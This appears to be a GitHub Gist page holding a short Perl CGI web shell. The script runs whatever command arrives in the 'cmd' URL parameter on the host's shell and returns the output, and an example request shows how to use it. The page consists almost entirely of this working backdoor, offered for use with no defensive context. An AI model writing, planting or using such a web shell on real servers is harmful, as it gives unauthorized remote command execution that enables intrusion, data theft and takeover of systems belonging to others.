Created
October 25, 2019 14:32
-
-
Save DarkCoderSc/427ef5cbca525ede7f5c1a6cef61622f to your computer and use it in GitHub Desktop.
example : http://targeturl/cmd_perl.cgi?cmd=whoami
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use strict; | |
use warnings; | |
use CGI qw(); | |
my $cgi = CGI->new(); | |
print "Cache-Control: no-cache\n"; | |
print "Content-type: text/plain\n\n"; | |
my $cmd = $cgi->param("cmd"); | |
if (!$cmd) { | |
$cmd = "whoami"; | |
} | |
my $output = `$cmd`; | |
if ($output) { | |
print $output; | |
} else { | |
print "No output..."; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment